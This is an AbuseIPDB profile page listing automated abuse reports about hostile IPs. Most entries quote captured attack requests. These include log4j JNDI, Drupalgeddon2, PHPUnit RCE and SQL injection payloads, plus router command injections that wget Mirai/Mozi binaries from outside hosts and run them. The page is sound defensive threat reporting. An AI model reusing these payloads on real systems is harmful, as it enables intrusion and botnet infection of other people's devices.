Auto Reporter - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Auto Reporter , the webmaster of saturna.cc, joined AbuseIPDB in November 2021 and has reported 193 IP addresses.

Standing (weight) is good.

INACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇦🇺 51.161.204.233	05 Apr 2023	Time: 4/4/2023 @ 19:56 PDT Multiple(>50) auth failures. Brute-force attempts authenticating to PBX ... show more Time: 4/4/2023 @ 19:56 PDT Multiple(>50) auth failures. Brute-force attempts authenticating to PBX system show less	Brute-Force Web App Attack
🇺🇸 193.9.46.15	23 Feb 2023	Multiple unauthorized login attempts using PBX extension credentials	Brute-Force
🇩🇪 136.243.72.156	23 Feb 2023	Attempted unauthorized login to SIP phone system	Hacking
🇩🇪 136.243.113.116	08 Feb 2023	attempting to access wordpress admin page	Web App Attack
🇭🇰 193.176.211.165	10 Jan 2023	ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (CVE-2021-44228) 2023-01-10T09:56:0 ... show more ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (CVE-2021-44228) 2023-01-10T09:56:02.024Z { POST /zdm/cxf/login HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36 Connection: close Content-Length: 93 Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Accept-Encoding: gzip login=${jndi:ldap://${sys:os.name}.cenfa1dbf3vchd0000107nbfrmurz7nfp.oast.pro}&password=admin } show less	Hacking Web App Attack
🇪🇸 79.154.25.46	28 Dec 2022	ET WEB_SPECIFIC_APPS [PT OPEN] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE Through Registration Form (CVE ... show more ET WEB_SPECIFIC_APPS [PT OPEN] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE Through Registration Form (CVE-2018-7600) 2022-12-28T19:05:21.065Z { POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 User-Agent: python-requests/2.18.4 Accept: / Content-Length: 230 Connection: close Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=wget+http%3A%2F%2F143.244.137.131%2Fdrupal+%2DO%2D+%7Csh%3Bcurl+http%3A%2F%2F143.244.137.131%2Fdrupal+%7Csh } show less	Hacking Web App Attack
🇮🇳 103.171.114.47	27 Dec 2022	ET SCAN JAWS Webserver Unauthenticated Shell Command Execution 2022-12-27T10:06:44.914Z { GET /sh ... show more ET SCAN JAWS Webserver Unauthenticated Shell Command Execution 2022-12-27T10:06:44.914Z { GET /shell?cd+/tmp;rm+-rf+;wget+heylitimysun.top/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8\ Connection: keep-alive } show less	Web App Attack
🇹🇷 159.146.48.167	08 Nov 2022	ET WEB_SPECIFIC_APPS Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE Through Registration Form (CVE-2018-7600 ... show more ET WEB_SPECIFIC_APPS Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE Through Registration Form (CVE-2018-7600) 2022-11-04T21:20:55.051Z { POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=id HTTP/1.1 User-Agent: python-requests/2.26.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive Content-Length: 98 Content-Type: application/x-www-form-urlencoded form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password } show less	Web App Attack
🇳🇱 20.101.149.196	13 Oct 2022	ET WEB_SERVER PHP Possible https Local File Inclusion Attempt 2022-10-12T23:27:32.485Z { GET /xml ... show more ET WEB_SERVER PHP Possible https Local File Inclusion Attempt 2022-10-12T23:27:32.485Z { GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Accept-Language: en-US,en;q=0.9,fr;q=0.8 Cache-Control: max-age=0 referer: anonymousfox.co Upgrade-Insecure-Requests: 1 } show less	Web App Attack
🇺🇸 216.176.137.199	10 Sep 2022	ET SCAN ELF/Mirai Variant User-Agent (Inbound) 2022-09-10T16:35:15.528Z { POST /spywall/timeConfi ... show more ET SCAN ELF/Mirai Variant User-Agent (Inbound) 2022-09-10T16:35:15.528Z { POST /spywall/timeConfig.php HTTP/1.1 User-Agent: XTC posttime=1585228657&saveForm=Save&timesync=1&ntpserver=http://qweqwe.com;$(wget%2046.19.141.122%2Fsymantec%20-O%20%2Ftmp%2Fviktor%20&&%20chmod%20777%20sh%20%2Ftmp%2Fviktor%20%20&&%20/tmp/viktor);#&timezone=5 } show less	Exploited Host
🇮🇳 117.253.150.111	01 Sep 2022	SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-31T21:03:25.012Z ... show more SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-31T21:03:25.012Z { GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117[.]253[.]150[.]111:32836/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 } show less	Web App Attack
🇮🇳 180.188.243.150	01 Sep 2022	SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-09-01T01:03:14.777Z ... show more SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-09-01T01:03:14.777Z { GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://180[.]188[.]243[.]150:36447/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 } show less	Web App Attack
🇨🇦 20.116.188.62	31 Aug 2022	SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt 2022-08-31T16:42:57.030Z { GE ... show more SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt 2022-08-31T16:42:57.030Z { GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive } show less	Web App Attack
🇬🇧 51.137.148.240	31 Aug 2022	SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt 2022-08-31T16:44:34.418Z { GE ... show more SERVER-WEBAPP MVPower DVR Shell arbitrary command execution attempt 2022-08-31T16:44:34.418Z { GET /shell?cd+/tmp;rm+-rf+;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive } show less	Web App Attack
🇲🇾 61.6.160.168	26 Aug 2022	SERVER-WEBAPP D-Link DSL-2750B routers login.cgi command injection attempt 2022-08-26T14:24:56.372Z ... show more SERVER-WEBAPP D-Link DSL-2750B routers login.cgi command injection attempt 2022-08-26T14:24:56.372Z { GET /login.cgi?cli=aa%20aa%27;wget%20http://134[.]195[.]138[.]33/.nCKx/zx.mips%20-O%20-%3E%20/tmp/kh;/tmp/kh%20selfrep.dlink%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hakai/2.0 } show less	Hacking Web App Attack
🇩🇪 38.242.232.9	24 Aug 2022	SERVER-WEBAPP D-Link multiple products HNAP SOAPAction header command injection attempt 2022-08-24T ... show more SERVER-WEBAPP D-Link multiple products HNAP SOAPAction header command injection attempt 2022-08-24T14:10:28.412Z { POST /HNAP1/ HTTP/1.1 User-Agent: Mozila/5.0 Accept-Encoding: gzip, deflate Accept: / Connection: keep-alive SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`cd && cd tmp && export PATH=$PATH:. && cd /tmp;wget http://38[.]242[.]232[.]9/a/mirai.sh;chmod 777 mirai.sh;sh mirai.sh selfrep.dlink;rm -rf mirai.sh`" Content-Length: 0 } show less	Web App Attack
🇮🇳 103.91.17.209	23 Aug 2022	SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-08-23T10:42:08.2 ... show more SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-08-23T10:42:08.211Z { POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103[.]91[.]17[.]209[:]45796/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 } show less	Hacking Web App Attack
🇮🇩 203.142.71.182	19 Aug 2022	SERVER-WEBAPP PHPUnit PHP remote code execution attempt 2022-08-18T05:57:02.831Z { POST /vendor/p ... show more SERVER-WEBAPP PHPUnit PHP remote code execution attempt 2022-08-18T05:57:02.831Z { POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Content-Length: 52 Accept: / Accept-Language: en-US,en;q=0.5 Connection: close Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Connection: close <?=md5('plylnjx3');echo strtoupper(php_uname('s'))?> } show less	Web App Attack
🇮🇳 203.115.85.159	17 Aug 2022	SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-17T11:15:02.594Z ... show more SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-17T11:15:02.594Z { GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://203[.]115[.]85[.]159[:]57095/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 } show less	Web App Attack
🇮🇩 117.74.127.119	15 Aug 2022	SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-15T18:13:13.327Z ... show more SERVER-WEBAPP Netgear DGN1000 series routers authentication bypass attempt 2022-08-15T18:13:13.327Z { GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117[.]74[.]127[.]119[:]41200/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0 } show less	Web App Attack
🇻🇳 113.172.93.91	10 Aug 2022	SERVER-WEBAPP Drupal 8 remote code execution attempt 2022-08-09T22:11:09.535Z { POST /%75%73%65%7 ... show more SERVER-WEBAPP Drupal 8 remote code execution attempt 2022-08-09T22:11:09.535Z { POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 Content-Length: 340 Connection: Keep-Alive Cache-Control: no-cache %66%6f%72%6d%5f%69%64=%75%73%65%72%5f%72%65%67%69%73%74%65%72%5f%66%6f%72%6d&%5f%64%72%75%70%61%6c%5f%61%6a%61%78=1&%74%69%6d%65%7a%6f%6e%65%5b%61%5d%5b%23%6c%61%7a%79%5f%62%75%69%6c%64%65%72%5d%5b%5d=%61%73%73%65%72%74&%74%69%6d%65%7a%6f%6e%65%5b%61%5d%5b%23%6c%61%7a%79%5f%62%75%69%6c%64%65%72%5d%5b%5d%5b%5d=die(md5(DIRECTORY_SEPARATOR)) } show less	Web App Attack
🇧🇪 194.165.17.9	08 Aug 2022	SQL url ending in comment characters - possible sql injection attempt 2022-08-06 18:59:42.878 -07:0 ... show more SQL url ending in comment characters - possible sql injection attempt 2022-08-06 18:59:42.878 -07:00 { GET /themes/contrib/bootstrap_barrio/css/components/form.css?r5bbcz=%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%2874%29%7C%7CCHR%28100%29%7C%7CCHR%28107%29%7C%7CCHR%2872%29%2C5%29%20FROM%20DUAL-- HTTP/1.1 Accept-Encoding: gzip,deflate Accept: / User-Agent: Opera/9.23 (X11; Linux i686; U; es-es) Connection: close Cache-Control: no-cache } show less	SQL Injection
🇺🇸 52.1.60.202	01 Aug 2022	SERVER-WEBAPP RevSlider information disclosure attempt 2022-07-30T19:27:51.723Z { GET /wp/wp-admi ... show more SERVER-WEBAPP RevSlider information disclosure attempt 2022-07-30T19:27:51.723Z { GET /wp/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1 Accept-Encoding: identity Connection: close User-Agent: Python-urllib/2.7 } show less	Web App Attack
🇧🇴 190.109.225.214	28 Jul 2022	SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-07-27T23:52:34.2 ... show more SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-07-27T23:52:34.214Z { POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://190[.]109[.]234[.]10:42030/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 } show less	Web App Attack
🇮🇳 103.41.24.181	28 Jul 2022	SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-07-28T12:54:05.1 ... show more SERVER-WEBAPP GPON Router authentication bypass and command injection attempt 2022-07-28T12:54:05.155Z { POST /GponForm/diag_Form?images/ HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World Content-Length: 118 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://103[.]41[.]24[.]181[:]55420/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0 } show less	Web App Attack